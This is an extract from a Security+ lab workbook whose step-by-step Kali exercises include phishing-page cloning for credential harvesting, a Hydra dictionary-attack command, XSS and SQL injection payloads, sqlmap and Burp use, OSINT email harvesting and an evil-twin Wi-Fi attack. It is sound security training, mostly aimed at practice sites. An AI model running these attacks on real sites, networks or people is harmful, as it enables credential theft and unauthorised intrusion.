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Introduction—101 Labs

Welcome to your 101 Labs book.

When I started teaching IT courses back in 2002, I was shocked to discover
that most training manuals were almost exclusively dedicated to theoretical
knowledge. Apart from a few examples of commands to use and
configuration guidelines, you were left to plow through without ever knowing
how to apply what you learned to live equipment or to the real world.

Fast forward another 17 years, and little has changed. I still wonder how—
when around 50% of your examination marks are based on hands-on skills
and knowledge—most books give little or no regard to equipping you with
the skills you need to both pass the exam and then make money in your
chosen career as a network, security, or cloud engineer (or whichever career
path you choose).

101 Labs is NOT a theory book; it’s here to transform what you have
learned in your study guides into valuable and applicable skills you will be
using, from day one, on your job as a network engineer. For example, Mark
and I won’t be teaching you about SSH per se; instead, we show you how to
configure a SSH connection. If the protocol isn’t working, we show you what
the probable cause is. Sound useful? We certainly hope so.

We choose the most relevant parts of the exam syllabus and use free software
or free trials (whenever possible) to walk you through configuration and
troubleshooting commands step by step. As we go along and your confidence
grows, we will also be increasing the difficulty level. If you want to be an
exceptional network security engineer, you can also make your own labs up,
add other technologies, try to break them, fix them, and do it all over again.



—Paul Browning

101 Labs—CompTIA Security+
This book is designed to cement the theoretical knowledge you have gained
from reading or watching your Security+ study guide or video training
course. If you have yet to study up on the theoretical side of things, please
check out our cutting edge video and labs on our sister website,
https://www.howtonetwork.com; our course also features practice exams that
may come in handy.

The goal of this book is to dramatically improve your hands-on skills and
speed, enabling you to succeed in the practical portions of the Security+
exam and also to transfer your skills to the real world as a network security
engineer. We don’t have space here to cover anything theoretical, so please
refer to your Security+ study guide to get a good understanding of the
learning points behind each lab. Every lab is designed to cover a particular
theoretical issue, such as the configuration requirements of SSH, for example.

If you want to become CompTIA Security+ certified, there’s one exam you
must first pass:

SY0-601

We’ve done our best to hit every topic mentioned in the exam syllabus on the
CompTIA website. However, please do check the syllabus on their website,
for they may change as time goes on. Their website also gives more details
on the weighting given to each subject area.

It’s also worth noting, that once we show you how to configure a certain
service or protocol a few times, we stop walking you through the steps in
subsequent labs—to save valuable space. Anyway, in times of uncertainty,
you can always flick back a few pages to see check how it’s done.

We’ve done our best to keep the topology as simple as possible. For this
reason, almost all labs have been configured on a virtual machine (with

https://www.howtonetwork.com/


internet access).

Please do check out our resource page, which will cover any additional
information you need,  and other material that are bound to prove useful:

https://www.101labs.com/resources

Doing the Labs
Apart from a couple of research labs, all the labs are hands-on. They have
been checked by several students and a senior Linux security consultant, and
should be error-free. Bear in mind that each machine will differ, so your
output may vary from ours in certain instances.

If you get stuck or things aren’t working, we recommend you take a break
and come back to the lab later with a clear mind. There are many Linux and
security support forums out there where you can ask questions. If you are a
member of 101labs.net, you can, of course, also post any of your enquiries on
our forum.

Best of luck with your studies,
—Paul Browning, CCNP, MCSE, A+, Net+

—Mark Drinan, PenTest+, SSCP

101 Labs—Security+ Video Course
All of our 101 Labs books have a walkthrough video for each lab, hosted on
https://www.101labs.net. We only mention this in case you want an extra
boost. We add a new certification every two months, and each course comes
with 200 exam-style questions. Please use the below coupon code to get a
discount off your joining fee:

101secplus

Instructions

https://www.101labs.com/resources
https://www.101labs.net/


1. Please follow the labs from start to finish. If you get stuck, do
the next lab and come back to the problematic lab later. There is a
good chance you will be able to work out the solution as you gain
confidence and experience in configuring the software and using
the commands.
2. You can take the labs in any order, but we’ve done our best to
present them in increasing difficulty, to incrementally build up
your skill level as you go along. For best results, do ALL the labs
several times over before attempting the exam.
3. There are resources as well as configuration files for all the
labs at www.101labs.net/resources.
4. Please DO NOT configure these labs on a live network or on
equipment belonging to private companies or individuals.
5. Please DO NOT attempt to configure these labs on other Linux
distros. We’ve chosen Kali for the labs due to it being the most
popular Linux distribution among security experts.
6. You MUST be reading or have read a Security+ study guide, or
watched a theory video course. Apart from some configuration
tips and suggestions, we don’t explain much theory in this book;
it’s all hands-on labs.
7. It’s impossible for us to give individual support to the
thousands of readers of this book (sorry!), so please don’t contact
us for tech support. Each lab has already been tested by several
tech editors, of abilities ranging from beginner to expert.

Also from Reality Press Ltd.
Cisco CCNA Simplified
Cisco CCNA in 60 Days
IP Subnetting—Zero to Guru
101 Labs—CompTIA A+
101 Labs—CompTIA Network+
101 Labs—CompTIA Linux+
101 Labs—IP Subnetting
101 Labs—Cisco CCNP
101 Labs—Cisco CCNA
101 Labs—Wireshark WCNA

http://www.101labs.net/resources


101 Labs—Linux LPI1 and Linux Essentials



Lab 1. Credential Harvesting Using
Site Cloning

Lab Objective:
Learn how to harvest credentials using a cloned website.

Lab Purpose:
Credential harvesting is the process of gathering sensitive information on a
target—such as passwords or the answers to secret questions—without them
knowing that this information is being captured.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for the purpose of this lab.

Lab Walkthrough:

Task 1:
The first step is to boot your virtual machine and get Kali Linux up and
running. Once this is complete, open a terminal and start the “SET: Social
Engineering Toolkit” by typing as “root” user:

setoolkit

When “Do you agree to the terms of service [y/n]” message appears, type “Y”.

First, update SET utility to get latest features. Choose option 5.



Task 2:
From the main menu, choose option 1 for “Social-Engineering Attacks”, then
choose option 2 to select “Website Attack Vectors”. You will then be presented
with the following screen asking you which kind of website attack you want
to conduct. Choose option 3, the “Credential Harvester Attack Method”.





Task 3:
The next menu will ask you which method you’d like to choose to harvest a
victim’s credentials. We will be cloning a site in this lab, so choose option 2
“Site Cloner”.

Task 4:
SET will ask you for your IP address so that it can send the POST requests
from the cloned website back to your machine. Normally, SET can detect
your IP address automatically. If your Kali node has many IP addresses, you



can find the desired one by opening a new terminal and typing “ifconfig”.

Once you tell SET that you would like to clone a website, it will then ask you
for the URL of the site you wish to clone. You can enter any site you like.
For this lab, I will be using https://www.facebook.com.

Task 5:
Once the URL is entered, SET will clone the site and display all the POST
requests of the site back to this terminal. It is now time to navigate to the
cloned site.

Task 6:
To get to the cloned site, open Firefox in your Kali machine and enter your
local IP address into the browser. You will then be able to view the cloned
login page for Facebook. Enter a random username and password into the

https://www.facebook.com/


fields and press Log In.

Task 7:
Finally, go back to the terminal where SET is running. You will see lots of
text from the numerous POST requests being sent from the cloned site. Scroll
down until you see the values “username” and “password”. You should be
able to see the username and password you entered into the cloned site in
cleartext.





Lab 2. Nmap

Lab Objective:
Learn how to scan a host using Nmap and understand the results.

Lab Purpose:
Nmap (Network Mapper) is one of the most common tools used among
hackers and system administrators. It is used to scan a host, which can be a
server, pc, network, etc. When running an Nmap scan, the goal is usually to
discover various pieces of information about a target system or network.
Examples of such information include: the devices that are connected to a
network, the ports that are open on a device, the services that are running on
these ports, whether the device is up, and whether there is a firewall
protecting the device, among others.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for the purpose of this lab. Scan
the following site: scanme.nmap.org

Note: This site has been developed by Nmap for the purpose of scanning.
Never scan any site, system, or network without prior permission from the
owner.

Lab Walkthrough:

Task 1:
Nmap comes pre-installed in Kali Linux. Just open a terminal, type “nmap
scanme.nmap.org” without the inverted commas. This will initiate a scan of
the target and will attempt to determine which ports are open and what

http://www.scanme.nmap.org/


services are open on these ports.

As we can see from the scan results, there are 4 ports open, and there are
different services running on each port. The scan we just performed,
however, is a very basic scan and will only scan the top 1000 ports for basic
information. In the next step, we will run a more advanced scan.

Task 2:
In this step, we will be scanning the same target, scanme.nmap.org, but with
a more advanced scan. Let’s say we want to determine the versions for the
services running on each port, so that we can determine if they are out of date
and potentially vulnerable to exploitation. We also want to determine the
operating system of the webserver running the target site. We will run the
following scan to determine this information:



Oops! You must be root before doing this type of scan. Type “sudo” and  re-
enter nmap command with desired parameters. The line in the terminal will
be like the following:

sudo nmap -v -sT -sV -O scanme.nmap.org

When asked for the password, type “kali” without inverted commas.



The results from our scan show us the exact versions of software running on
each open port. Note, if there was a firewall protecting this webserver, we
may be unable to see this information. We can also determine with relatively
high accuracy the version of the operating system running on the web server.

An easier way to perform a full scan on a target is to use the -A flag, which
will scan a target using the -sS, -sV, and -O flags.

Task 3:
Try scanning the same target with a number of different flags. Visit the
following site to see the different scans you can run against targets, as well as
the different outputs different flags will provide.

https://nmap.org/book/port-scanning-options.html

https://nmap.org/book/port-scanning-options.html


Lab 3. Recon-ng

Lab Objective:
Learn how to find WHOIS information on a target domain-name.

Lab Purpose:
WHOIS information can consist of location, registration and expire dates,
contact information (email, phone numbers, etc.) and more about domain-
name. The purpose of this lab is to use recon-ng to automate the discovery of
this information.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for the purpose of this lab.

Lab Walkthrough:

Task 1:
Begin this lab by opening Kali Linux within your virtual machine. Then, as
root user, open a terminal and type:

recon-ng



Task 2:
recon-ng offers the opportunity for users to create different workstations
based on their project needs. For this lab, we will be gathering WHOIS
information. So, create a new lab by typing the following:

workspaces create whois_recon

Task 3:
We will begin by gathering WHOIS information about a target domain-name.
Since WHOIS information is available to anyone, it is ok to do this for any
domain. The domain we will be targeting is, once again, “facebook.com”, but
you can do this lab for any other domain you wish.



We will need to install modules from the marketplace to search for WHOIS
information. We will begin by searching WHOIS for all related information
regarding a target site. To do this, we first need to install the WHOIS search
module. To do this, type:

marketplace search whois

We want to install the fourth option, which is “recon/domains-
contacts/whois_pocs”. To do this, type:

marketplace install recon/domains-contacts/whois_pocs

To begin searching, we first need to set the source by typing:

options set SOURCE facebook.com

To load the module for use, type:

modules load recon/domains-contacts/whois_pocs

Then, to see information about this module and how it is used, type “info” and
hit enter.



We are now ready to search WHOIS for information regarding
“facebook.com”. Simply type “run” and hit enter to begin the search.

As you will see, various contact and location information will show up for
facebook.com. This information will be automatically saved in our
workstation.





Task 4:
We will now attempt to discover as many subdomains as possible, with their
IPv4 address for facebook.com, using HackerTarget.com API. We will need
to import the “hackertarget” module, as we did previously for whois_pocs.

Before we do this, you should first type “back” and press enter to quit out of
the whois_pocs module. We will begin by searching the marketplace for
“hackertarget” modules using:

marketplace search hackertarget

Only one option should show, which is “recon/domains-hosts/hackertarget”.
You can highlight this option and press ctrl + shift + c to copy the path to the
module. You can paste using ctrl + shift + v. To install the module use:

marketplace install recon/domains-hosts/hackertarget

We then want to load the module using:

modules load recon/domains-hosts/hackertarget

We are now ready to begin searching HackerTarget for subdomain
information regarding Facebook. First, set the source by typing:

options set SOURCE facebook.com



If you want to see some information around what this module is used for and
how, simply type “info” and hit enter.

Task 5:
Once this is done, type “run” and hit enter. You will notice a list of various
subdomains associated with facebook.com appearing.



This information can be useful for an attacker who may be targeting
Facebook. They can use this information to attack the various subdomains
and their IP addresses associated with Facebook, as they may not all be
equally secure, to find a way through their security.



Lab 4. Conducting a Dictionary
Attack to Crack 

Online Passwords Using Hydra

Lab Objective:
Learn how to conduct a dictionary attack to crack passwords online, using
Hydra.

Lab Purpose:
Hydra is an advanced password cracker which can be used to crack
passwords for online pages, such as the login page of a website. This is useful
as we don’t need to capture a hash and attempt to crack it offline; we can
simply target the login page itself, with any username and password
combination we like.

A dictionary attack is a type of password attack which uses a combination of
words from a wordlist and attempts all of them in association with a
username to login as a user. It typically takes a long time to perform, and the
results are dependent on the accuracy and quality of your wordlist. A
dictionary attack is a form of brute forcing.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a virtual machine for this lab.

Note: This site has been developed for the purpose of specific types of
hacking. Never use hydra on any site, system, or network without prior
permission from the owner.



Lab Walkthrough:

Task 1:
The first step is to power up Kali Linux in a virtual machine. Then, open the
Hydra help menu with the following command as “root” user:

sudo hydra

For this lab, I will be focusing on the command line interface version of
Hydra, but you can also access the GUI version of hydra using the following
command as “root” user:

sudo xhydra

Type “hydra -h” to get the help menu and see what kind of attacks we can run
using Hydra.

Note the examples at the bottom of the help menu, which will provide you
with a better idea of the syntax Hydra supports.

Task 2:
The site we will be targeting is the following:

http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp?

Note that this site has been developed for the purpose of hacking, and you
should not use Hydra on any other site without permission from the owner.



To use Hydra against an online target such as this one, we need to capture the
post-form parameters. Hydra will use these parameters to send its various
requests to the correct target. To capture this information, open target site
with web browser in Kali. Then, press ctrl + shift + I to open the browser
developer tools panel.

Navigate to the tab called “Network”. When you are there, reload the page by
pressing ctrl + F5. You should see several GET requests. This is our machine
requesting data from the server so that we can see the login form.

Now enter a random username and password into the login page and click
login. You should see a new POST request pop up in the Network tab. This is
our machine sending the data to the server. This request contains the
parameters we need.



Task 3:
Right click on the POST request and select “Edit and Resend”. A page will
open to the right of the Network header, with information regarding the
POST request. Scroll down to the Request Body section and copy the
tfUName and tfUPass Parameters. Hydra will need this information.



Task 4:
For this attack, we will be attempting to login as admin. We will need to
choose a wordlist to guess passwords to login as this account. Open the
terminal and type: “locate wordlists” to see all the different wordlists Kali has
installed. We will use the rockyou.txt wordlist for this attack. Type “locate
rockyou.txt” to see the path to this wordlist.

If the rockyou.txt wordlist file has a .gz extension on it, we will first need to
extract the file. To do this, change directory to the wordlist directory using
the following command:

cd /usr/share/wordlists

Then use the following command to extract the file:

gunzip rockyou.txt.gz

Type ls into the terminal after this and you will see that the rockyou.txt file is
now available.

Great! We now have all the information we need and are ready to open Hydra
and begin the attack.



Task 5:
Let’s begin the attack by submitting the following command to hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form
“/Login.asp?RetURL=/Default.asp?:tfUName=^USER^&tfUPass=^PASS^:S=logout” -vV -f

Once you press enter, the attack will begin and Hydra will start guessing a lot
of passwords for the username admin in an attempt to login.

Ok, this may be a lot to take in; let’s break it down with ctrl + C.

-l is the username we will be logging in as
-P is the wordlist we will be using to guess the password for

this user
http-post-form is the type of request hydra will be sending to

the server in order for us to login
“/Login.asp?

RetURL=/Default.asp?:tfUName=^USER^&tfUPass=^PASS^:S=logout”
– This is the actual request hydra is sending to the server, it will
replace USER and PASS with the -l and -P values we specified
earlier

-vV will show us each of the username and password login
attempts

-f will finish that attack when the correct username and
password combination is entered

Task 6:
Note that hydra will probably not be able to guess the password, so you can



end the attack at any point by pressing ctrl + c. This is an example of Hydra
attempting a dictionary attack for a POST request. Hydra can also be used to
attack usernames and passwords of different services—such as SSH, FTP,
telnet, proxy, etc.—making it an extremely powerful and useful tool to have
in your arsenal.



Lab 5. Conducting a Cross Site
Scripting (XXS) Attack

Lab Objective:
Learn how to test a website for an XXS vulnerability.

Lab Purpose:
XXS is a common vulnerability in web applications and is frequently listed
as a top vulnerability in the OWASP top ten. XXS occurs when web
applications execute JavaScript, which is input into the form sections of a
web application. The applications perform no security checks on the entered
data. It simply passes it straight to the server, causing inputted JavaScript to
execute.

Lab Tool:
Web browser

Lab Topology:
You can use any web browser of your choosing for this lab.

Lab Walkthrough:

Task 1:
We will begin this lab by opening a web browser of your choice. There are
numerous sites on the web that have been setup for the purpose of practising
attacks like XXS. We will be using this site: https://xss-game.appspot.com

The site has several levels of XXS which vary in difficulty. It also offers you
several hints on how to proceed if stuck on a level. This is a great way to
advance your knowledge of this type of web application attack.



Task 2:
Let’s begin by navigating to the following URL:

https://xss-game.appspot.com/level1

This is the first level. We are presented with a simple search box for a web
page.

To be able to execute JavaScript in a web application like this one, a basic
understanding of the syntax for JavaScript and HTML is required.

For example, <h1>”Header here”</h1> will create a header. Enter this value into
the search box and see what result you get.

Great! We know this application is vulnerable to XXS now, as our input is

https://xss-game.appspot.com/level1


directly reflected in the output of the search result. Note, what we just did is
not XXS as there is no JavaScript involved. We simply know now that the
web application is most likely vulnerable to XXS.

Task 3:
Now, to execute the XXS attack. Try to figure it out yourself using the hints
the site provides you. The answer is the following:

<script>alert(1)</script>

This will cause an alert text box to pop up on our screen with “1” on it.

We have successfully executed an XXS attack.

Task 4:
For level 2, we will only be talking about it in brief. In this level, we are
presented with a forum page.

The script we entered for level 1 will not work here. We need to first enter a
HTML tag which will adopt the script we entered in level 1, so that every
time this page is visited and the tag is loaded, the XXS attack will run. This is
a method of achieving a persistent XXS attack on a site.

<img src=”http://inexist.ent” onerror=”javascript:alert(1)”/>

This bit of HTML is loading an image, which doesn’t exist into the forum.

http://inexist.ent/


Every time there is an error, the JavaScript alert will run. Considering that the
image doesn’t exist and that it will be loaded every time a user visits the
forum, the JavaScript alert will always run.

Task 5:
To deepen your understanding of different levels of XXS, you should attempt
the next few levels and see how far you get.



Lab 6. Automating SQL Injection
Using SQLmap

Lab Objective:
Learn how to automate SQL injection using SQLmap.

Lab Purpose:
SQLmap is an open-source tool used as part of a penetration test to detect and
exploit injection flaws. SQLmap is particularly useful as it saves time by
automating the process of detecting and exploiting SQL injection.

Lab Tool:
Reliable internet connection and a modern browser to connect
https://tryhackme.com/room/sqlilab

Lab Topology:
We will not use Kali Linux for this lab.

tryhackme.com offers virtual Linux node (AttackBox) to access their target
systems. Also, OpenVPN connection is available. For simplicity in this lab,
we will use AttackBox. AttackBox also contains SQLmap and any other
necessary tools that we will need during this lab.

Lab Walkthrough:

Task 1:
In order to use AttackBox, tryhackme.com requires membership login.
Membership is free and very simple to set up. All that is required is an email
address and a password.





We select Task “1” in the list that appears after login. In this task, the most
basic SQL injection attack is presented. Press the blue colored “AttackBox”
button, and then press the “Start Machine” button (which is green in this
picture). It is recommended that you wait for 5 minutes for the lab to be
ready.



Task 2:
Once you are on the AttackBox, open the web page with IP address and port
number, which is provided on the left panel. In this case,
https://10.10.87.8:5000 is ours.

You will be presented with a webpage containing several labs with different
SQL injection vulnerabilities. We will be focusing on the first one for this
lab, so click on “go to challenge”.

You will be navigated to a sample login page which is vulnerable to SQL
injection. We can test its vulnerability to SQL injection by inputting the

https://10.10.87.8:5000/


following into the Profile ID text box:

“1 or 1=1-- -“

Type the above string exactly, but without inverted commas.

Enter any random value into the password field and submit.

We will then be logged into the application, and you should be able to see the
flag for this challenge here.

So, we know this login form is vulnerable to SQL injection, but we want to
know how to automatically test this using SQLmap. To do this, copy the link
for the login page. Then, open a terminal in AttackBox and type the
following:

sqlmap -u ‘http://10.10.101.165:5000/sesqli1/login?profileID=q&password=a’ -p ‘profileID’ –
level=3 –risk=3

-u tells sqlmap the target URL
-p tells the tool which parameter in the URL we want to test for



SQL injection
--level=3 will tell the tool to use more detailed and

comprehensive SQL injection techniques
--risk=3 will tell the tool not to be subtle about its SQL injection

attempt

Once this command is ran, you will notice SQLmap attempting a huge
amount of SQL injection techniques against the target.

When the tool is finished, we can see that SQLmap discovered that the
parameter ‘profileID’ is vulnerable. We are also presented with information
about the backend database version, allowing us to craft more specific and
detailed SQL injection techniques for further exploitation.



Lab 7. How to Use Burp Suite to
Intercept Client-side Requests

Lab Objective:
Learn how to use Burp Suite to intercept client-side requests.

Lab Purpose:
Burp Suite is an especially useful tool when testing web applications. Burp
Suite has many uses, but for this lab, we will be focusing on the local proxy
feature, which allows us to intercept the requests being sent from our
machine to a server. This provides us with the ability to alter the requests
being sent the server.

Lab Tool:
Kali Linux.

Lab Topology:
All we need is Kali Linux amd64 version VM for this lab.

Lab Walkthrough:

Task 1:
Run “burpsuite” command in Kali terminal screen as “kali” user. Accept and
update as required.





Once Burp is opened, choose “Temporary Project” from the list of options
and click next.

In the next screen, choose the option to setup Burp using Burp defaults, and
then press “Start Burp”.



Task 2:
Once Burp Suite is opened, you will see a lot of tabs and other information.
For now, all we will be worrying about is the Proxy tab, so you can navigate
there now.

Burp Suite recently updated to include its own built-in browser for using the
local proxy with, which means we no longer must configure our browser to
work with Burp manually. However, we will also consider the use of an
external browser in this lab.

Notice that colored button which says, “intercept is on”. This means that
Burp is currently intercepting traffic sent from our Kali machine to any
server. For now, we can press this button to turn intercept mode off.



Task 3:
We will begin by learning how to use Burp with Firefox. Navigate to the
proxy tab, and then to the options tab. Then, click on “Import/export CA
Certificate”. This is the certificate which will allow our browser to trust Burp
Suite.



Then, browse to a location on your Kali VM where you want to save the file.
It is important that, when you are saving the file, you save it with a .der
extension, otherwise the file won’t import correctly into Firefox.

Task 4:
Once this is done, open Web Browser (Firefox) in Kali and navigate to the
options. Find “proxy” in Preferences’ search box. Click on the button called
“Settings” under Network Settings.





Then, click Manual Proxy Configuration and enter the following details:

Task 5:



Once this is done, navigate to the Privacy & Security tab and then to the
Certificates section. This is where we will import the certificate from Burp
we saved earlier. To do this, press on “View Certificates” and click on
“Import”.

Navigate to the .der file that we saved earlier. Once selected, a box will pop
up asking if you would like Burp Suite to be able to intercept emails and



connections to websites. Select both options and click “Ok”.

Great, Firefox is now configured to work with burp! To test it out, open Burp
and Firefox. Ensure Intercept mode is turned ON, and search something in
Firefox. If Burp Suite is not intercepting requests, you may have to navigate
back to the proxy page. A pop-up might appear asking you to set up a
listener. Simply press enable and Burp should then work properly.

Your request should be captured in Burp Suite for you to manipulate or
examine.

Task 6:
Now, we will learn how to use Burp to intercept browser network traffic.

Once the web browser opens, navigate to the following site:

http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F

Once there, go back to Burp and turn ON intercept mode. Then, enter any
username and password combination into the site and click “Login”. As you
will see, the page will remain in a loading state. This is because Burp has
now intercepted the request we sent to the server, and is holding it for us to

http://testasp.vulnweb.com/Login.asp?RetURL=%252FDefault.asp%253F


manipulate.

Go back to Burp and you will find the intercepted request, along with the
username and password data that we entered. To navigate through the
different requests Burp is intercepting, simply press the “Forward” button to
send the request to the server and view the next request.

Task 7:
You can also alter any text portion of web traffic when Burb interception
mode is ON. Try to change “tfUName=admin” and “tfUPass=none” and press the
“Forward” button. Those are valid credentials for the green-colored page, and
you will be granted access to the next page.





Lab 8. Information Gathering Using
theHarvester

Lab Objective:
Learn how to gather information on a target site using theHarvester.

Lab Purpose:
Information gathering is often the first step of any penetration test.
theHarvester is a very powerful OSINT (Open-Source Intelligence Tool) for
finding information on a target URL. It searches multiple sites for
information about the target URL and displays all the information it finds. It
is particularly useful for finding names of people and their email addresses as
well as subdomains of the target site.

Lab Tool:
Kali Linux

Lab Topology:
You can use either Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We can use theHarvester which is bundled in Kali, but this tool is updated
frequently. We will download and use the latest version, in this lab.

To begin, boot up Kali Linux in your VM and open a terminal. Follow the
steps below:

sudo apt-get install python3-pip
sudo pip3 install virtualenv
virtualenv venv



Clone the git repo:

git clone https://github.com/laramies/theHarvester.git
cd theHarvester
pip3 install -r requirements.txt

Close this terminal and open a new one. Now, we are ready to use
“theHarvester.py” in “kali” user’s home directory. Type:

https://github.com/laramies/theHarvester.git


cd /home/kali/theHarvester/
./theHarvester.py -v

Task 2:
To launch an information gathering campaign on a target, type the following:

./theHarvester.py -d hackaday.com -l 300 -b google



This will start theHarvester. It will begin searching Google for the top 300
results related to hackaday.com.

For this target, we could not find any information on Google. Let us dig
deeper.



Task 3:
If we want to gather even more information about our target, we can specify
the following:



./theHarvester.py -d hackaday.com \
-l 300 -b all

The “-b all” tag will search all search engines available to theHarvester for
information regarding hackaday.com. As you can see, it is an extremely
useful tool for discovering email addresses, names of people associated with
the target, sub-domain names and IP addresses.



Task 4:
If we wanted to display this information in an easier to read format, we could
add the -f tag at the end:

./theHarvester.py -d hackaday.com -l 300 -b all -f hackaday.com.results



This will save the information gathered in a HTML file called
“hackaday.com.results.html” When this file is opened, it provides the information
gathered in a layout which is much easier to read.



Lab 9. Evil Twin Attack with
Airgeddon

Lab Objective:
Learn how to use airgeddon to create an evil twin and capture login
credentials.

Lab Purpose:
Airgeddon is a Wi-Fi auditing script. It is very useful, and employs a lot of
tools in the one script. This means that the script will launch the tools for us
using our given settings, as opposed to us having to manually set up each of
the tools separately.

Lab Tool:
Kali Linux, an external wireless card

Lab Topology:
You can use either Kali Linux in a VM for this lab.

Note: to perform this lab, you will also need an external wireless card which
can be connected to your VM through USB. This wireless card should also be
put into “monitor mode”, which allows it to monitor all traffic on a Wi-Fi
network.

There are numerous Wi-Fi adapters in the market that support Wi-Fi hacking.
In this page, you can find some of them:
https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-
hacking-in-2019/

https://www.ceos3c.com/security/best-wireless-network-adapter-for-wifi-hacking-in-2019/


Lab Walkthrough:

Task 1:
The first step is to open Kali Linux in your VM and then open a terminal.
This is the Github page for the airgeddon script:

https://github.com/v1s1t0r1sh3r3/airgeddon

To download the script for your Kali machine, simply type the following:

sudo git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

A prompt may pop up, telling you that x amount of space will be used to
download the script. Simply type “y” and the script will download.

Once the script is downloaded, type “ls” into the terminal. You should see a
file called “airgeddon”. Type “cd airgeddon” to change the directory to this file.
Type “ls” again and you should see a file called “airgeddon.sh”. Type
“./airgeddon.sh” to run the script.

Task 2:
The script will run a number of checks to determine if you have the correct
tools installed. Simply follow the on-screen prompts. It will also give you the

https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon.git


option to install any tools which you are missing. You should press “y” when
given this option to get the full capacity of airgeddon’s tools.

The next screen will ask you to choose which interface you want to use with
the tool. It is important you choose your wireless card and not your
machine’s connection here. My wireless card is called “wlan0” on this
screen.

Once at the main menu, the first step is to place our card into monitor mode
by pressing option 2.



Task 3:
With the initial setup behind us, we can now begin the attack. Choose option
7 for Evil Twin attacks menu.

For this lab, we will be creating a captive portal, to capture the Wi-Fi
password of our chosen network. Choose option 9.



Airgeddon will then conduct an exploration for any nearby Wi-Fi network. A
new window will pop up. Let this run for about a minute. When you have
found your target Wi-Fi network, press ctrl + c to end the discovery.

You will then be presented with a screen which displays all discovered Wi-Fi



networks. Choose your network by typing the number beside it into the
terminal and press enter.

Task 4:
The next screen will ask you how you want to de-authenticate people from
the network. We will be choosing option 1. I did not enable DoS pursuit
mode, as the card I am using does not support it.

Do spoof your MAC address on the next screen as this is good practice. This
will provide a fake MAC address in the router logs.



We do not have a captured handshake file, so choose the “no” option when
asked for this. Press enter when asked to provide a value for timeout to accept
the default value of 20. Press enter again and airgeddon will begin kicking
hosts from the target Wi-Fi network in order to obtain a handshake.

If successful, the handshake will be captured and saved in a default location.

Task 5:
Press enter a few times on the next few prompts to accept the default settings.



The next screen will then ask you what language you want the captive portal
to be in. Choose option 1 for English. Press enter again and the attack will
begin.

A number of popups will open on your screen, it is important you do not
close any of them and let the script do its work.



Task 6:
Now, get another device which is connected to the same network and attempt
to connect to the internet. You will notice that you will be unable to do so. If
you look for Wi-Fi networks, you may also see two networks with the same
name, one with security and one without. Our evil twin is the network with
no security. Connect to this network, if your device didn’t automatically do
so, and attempt to connect to the internet. You will be presented with a screen
asking for your Wi-Fi password in order to gain internet access. Enter your
password and return to the script. You will see that the script would have
captured the password you entered in plain text. Press enter on the terminal
screen to end the attack.



Lab 10. Using Curl

Lab Objective:
Learn how to use Curl for manual information gathering.

Lab Purpose:
Curl stands for Client URL. It is a command line tool for getting and sending
data including files using URL syntax.

Lab Tool:
Kali Linux

Lab Topology:
We will use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
The general syntax for using curl is the following:

Curl [options] URL

This is a basic syntax that makes the tool quite simple to use. To get some
more information on curl and how it is used, type curl --help to display the
information screen.

Curl can be installed on Linux using the following command:

sudo apt-get install curl

Task 2:
The first task we will perform is getting the source code of a site. The first



step is to boot your virtual machine and get Kali Linux up and running. Once
this is complete, open a terminal and type the following:

curl https://example.com

To save this output to a file, we will use either the “-o” or “-O” option. The
lowercase option saves the file with a predefined filename, while the
uppercase option saves the file with its original filename. Basically, the
lowercase option allows us to specify a file name. This is a useful option if
the webpage we are trying to inspect is preventing us from right clicking on
the page to view the source code in the browser. Type the following to save
your output:

curl -o output.txt https://example.com

We can see some brief statistic data on this output.

https://example.com/
https://example.com/


Task 3:
Curl also provides you with the ability to download multiple files at once. To
do this, use multiple -O options, followed by the URL of the file you want to
download. For example:

curl -O https://arxiv.org/ftp/arxiv/papers/1610/1610.05971.pdf -O \
https://arxiv.org/pdf/2103.08624.pdf

If your connection drops while downloading a file, you can resume the
download with the “-C-“ option. This is an especially useful feature when
downloading large sized files, ex DVD ISO files, or MP4 video files. This
way, if your connection drops when downloading a file, you can resume the
download instead of starting from scratch, using, for example:

curl -C- -O https://arxiv.org/pdf/2103.08624.pdf

Task 4:
Curl can also be useful for downloading HTTP headers, which is useful when
testing a site. To do this, use the following command:



curl -I https://example.com

This will display many useful pieces of information, such as server info,
content type, and content encoding.

Task 5:
When attempting to download a file or gather other information using curl,
you may discover that the target site may be designed to block curl. In this
case, it is useful to emulate a browser, such as Firefox, to return the
information you are looking for. To do this, use the following command:

curl -A “Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0” \
https://ifconfig.me



In this example, remote site https://ifconfig.me answers with different
messages according to clients’ user-agent strings.

Task 6:
Another important feature of curl is its ability to transfer files. This is useful
when interacting with servers through the command line, particularly if you
are trying to take advantage of potential vulnerabilities. To access a protected
FTP server, use the -u option to specify the username and password:

curl -u “username:pwd” “ftp://mirrors.sonic.net/knoppix/live.iso”

To upload a file to the server, we can use the -T option:

curl -T file.zip -u “username:password” ftp://mirrors.sonic.net/

Task 7:
Normally, curl denies connection to sites which have invalid SSL certificates.
To connect without blocking and getting a warning message, we can use the
“–k” option, for example:

curl -k http://192.168.1.1/

ftp://mirrors.sonic.net/
http://192.168.1.1/


Task 8:
Curl can also be configured to use a proxy. To do this, use the -x option
followed by the proxy URL. For example:

curl -x 192.168.0.1:8080 http://example.com/

Task 9:
Curl can also be used for sending HTTP POST data to FORM pages.

In this example, we are sending two parameters, “tfUName” and “tfUPass”,
with attached values to “http://testasp.vulnweb.com/Login.asp”.

http://example.com/


Lab 11. Using Traceroute in Linux

Lab Objective:
Learn how to use Traceroute in Linux to trace the route to a host.

Lab Purpose:
Traceroute is used to trace the route to a host. This is useful for finding out if
the host is up, where the host is located, and how many hops the server is
away from you.

Lab Tool:
Kali Linux

Lab Topology:
We will use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
To install traceroute on Kali Linux, simply open a terminal and type the
following:

sudo apt-get install traceroute
